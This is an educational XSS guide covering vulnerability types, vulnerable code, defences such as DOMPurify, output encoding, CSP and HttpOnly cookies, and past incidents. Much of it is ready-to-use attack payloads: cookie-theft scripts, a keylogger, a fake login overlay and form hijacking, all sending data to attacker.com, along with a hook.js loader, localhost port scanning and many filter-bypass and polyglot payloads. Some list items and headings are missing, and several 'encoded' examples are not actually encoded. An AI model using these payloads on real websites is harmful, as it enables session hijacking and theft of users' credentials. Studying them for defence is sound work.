Comprehensive Guide to Understanding, Exploiting, and Preventing XSS Attacks
Cross-Site Scripting (XSS) is a client-side code injection attack where an attacker injects malicious scripts into web pages viewed by other users. When successful, XSS allows attackers to execute arbitrary JavaScript code in the victim's browser, bypassing the Same-Origin Policy and potentially compromising user data, sessions, and interactions.
XSS remains one of the most prevalent web vulnerabilities because it:
Successful XSS exploitation allows attackers to:
The most common type where malicious script is reflected off a web server in search results, error messages, or any response that includes user input.
<!-- Vulnerable code -->
<?php
$search = $_GET['q'];
echo "Search results for: " . $search;
?>
<!-- Attack URL -->
http://example.com/search?q=<script>alert(document.cookie)</script>
The most dangerous type where malicious script is permanently stored on the target server (database, message forum, comment field, etc.) and executed when users view the affected page.
// User submits comment with malicious script
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
// Script executes for every user viewing the comment
Occurs when JavaScript manipulates the DOM in an unsafe way, allowing attackers to inject malicious payloads that execute entirely client-side without server involvement.
// Vulnerable JavaScript code
var name = location.hash.substring(1);
document.getElementById('welcome').innerHTML = "Hello " + name;
// Attack URL
http://example.com/#<img src=x onerror=alert(document.cookie)>
Exploits the way browsers parse and mutate HTML, causing sanitized input to become dangerous after DOM manipulation.
Requires the victim to paste malicious code into their own browser, often through social engineering.
// Direct output without escaping
echo $_GET['name'];
echo $user_input;
// Unsafe template rendering
?><div>Welcome <?php echo $name; ?></div>
// Unsafe DOM manipulation
element.innerHTML = userInput;
document.write(userInput);
element.outerHTML = data;
// Unsafe eval/Function
eval(userInput);
new Function(userInput)();
// Unsafe jQuery
$(userInput);
$('#div').html(userInput);
# Without auto-escaping
return '<div>' + user_input + '</div>'
# Using Markup incorrectly
return Markup(user_input)
// Simple cookie theft
<script>
fetch('https://attacker.com/steal?c=' + document.cookie);
</script>
// Using image tag
<img src=x onerror="this.src='https://attacker.com/log?c='+document.cookie">
// More stealthy approach
<script>
new Image().src='https://attacker.com/steal?cookie='+btoa(document.cookie);
</script>
<script>
document.onkeypress = function(e) {
fetch('https://attacker.com/keylog?key=' + e.key);
};
</script>
<script>
document.body.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999">
<h2>Session Expired - Please Login</h2>
<form action="https://attacker.com/steal" method="POST">
<input name="username" placeholder="Username"><br>
<input name="password" type="password" placeholder="Password"><br>
<button>Login</button>
</form>
</div>
`;
</script>
<script src="https://attacker.com/hook.js"></script>
<script>
document.forms[0].onsubmit = function() {
var data = new FormData(this);
fetch('https://attacker.com/steal', {method: 'POST', body: data});
return true; // Allow normal submission
};
</script>
<script>
for(let port = 1; port < 1024; port++) {
fetch('http://localhost:' + port)
.then(() => console.log('Port ' + port + ' is open'))
.catch(() => {});
}
</script>
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
<sCrIpT>alert(1)</sCrIpT>
<!-- HTML Entity Encoding -->
<script>alert(1)</script>
<script>alert(1)</script>
<!-- URL Encoding -->
%3Cscript%3Ealert(1)%3C%2Fscript%3E
<!-- Double URL Encoding -->
%253Cscript%253Ealert(1)%253C%252Fscript%253E
<!-- Unicode Encoding -->
\u003cscript\u003ealert(1)\u003c/script\u003e
<!-- Hex Encoding -->
<script>alert(1)</script>
<!-- Null bytes -->
<scri%00pt>alert(1)</scri%00pt>
<!-- Extra characters -->
<script/>alert(1)</script>
<script >alert(1)</script>
<script
>alert(1)</script>
<!-- Tab and newline -->
<scr ipt>alert(1)</script>
<scr
ipt>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<a href="javascript:alert(1)">Click</a>
<form action="javascript:alert(1)">
<object data="javascript:alert(1)">
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<math><mi>//</mi><mglyph></mglyph><mi>//</mi></math><img src onerror=alert(1)>
// In JavaScript context
'; alert(1); //
'); alert(1); //
// In attribute context
" onload="alert(1)
' onload='alert(1)
// Breaking out of script tags
</script><script>alert(1)</script>
<!-- Using lesser-known events -->
<svg><animate onbegin=alert(1) attributeName=x>
<!-- Using HTML5 features -->
<form><button formaction=javascript:alert(1)>Click
<!-- Using polyglots -->
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
<!-- Character fragmentation -->
<scr<script>ipt>alert(1)</scr</script>ipt>
// JavaScript validation example
function sanitizeInput(input) {
// Remove script tags and dangerous attributes
const temp = document.createElement('div');
temp.textContent = input;
return temp.innerHTML;
}
// Using DOMPurify library (recommended)
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href']
});
// PHP - HTML Entity Encoding
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
// Context-aware encoding
function encodeForHTML($data) {
return htmlspecialchars($data, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}
function encodeForJS($data) {
return json_encode($data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
}
<!-- Strong CSP Header -->
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-randomvalue';
object-src 'none';
base-uri 'self';
require-trusted-types-for 'script';
// Prevent JavaScript access to cookies
setcookie('session', $value, [
'httponly' => true,
'secure' => true,
'samesite' => 'Strict'
]);
// React automatically escapes (safe)
const element = <div>{userInput}</div>;
// Vue.js automatic escaping
<div>{{ userInput }}</div>
// Angular sanitization
import { DomSanitizer } from '@angular/platform-browser';
safeHtml = this.sanitizer.sanitize(SecurityContext.HTML, unsafe);
X-XSS-Protection: 1; mode=block
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
javascript:alert(1)
'><script>alert(String.fromCharCode(88,83,83))</script>
"><svg/onload=alert(1)>
// Check for reflected input
document.body.innerHTML.includes(payload);
// Monitor DOM changes
const observer = new MutationObserver(mutations => {
console.log('DOM changed', mutations);
});
observer.observe(document.body, {
childList: true,
subtree: true
});
One of the most famous XSS attacks. Samy Kamkar created a self-propagating worm that infected over 1 million MySpace profiles in under 24 hours using stored XSS.
A simple XSS payload in a tweet caused the TweetDeck service to crash and auto-retweet the malicious payload, affecting thousands of users.
Multiple stored XSS vulnerabilities were found in eBay's platform, allowing attackers to steal user credentials and session cookies.
Attackers used XSS to inject a credit card skimmer on the British Airways website, compromising 380,000 payment transactions.
XSS vulnerabilities in Epic Games' authentication system allowed attackers to take over Fortnite accounts and steal V-Bucks.
<!-- Basic Alerts -->
<script>alert('XSS')</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>
<!-- Image Tags -->
<img src=x onerror=alert(1)>
<img src=x onerror="alert('XSS')">
<!-- SVG -->
<svg/onload=alert(1)>
<svg><script>alert(1)</script></svg>
<!-- Input/Body -->
<input onfocus=alert(1) autofocus>
<body onload=alert(1)>
<!-- Iframe -->
<iframe src="javascript:alert(1)">
<!-- Event Handlers -->
<div onmouseover="alert(1)">hover me</div>
<a href="#" onclick="alert(1)">click</a>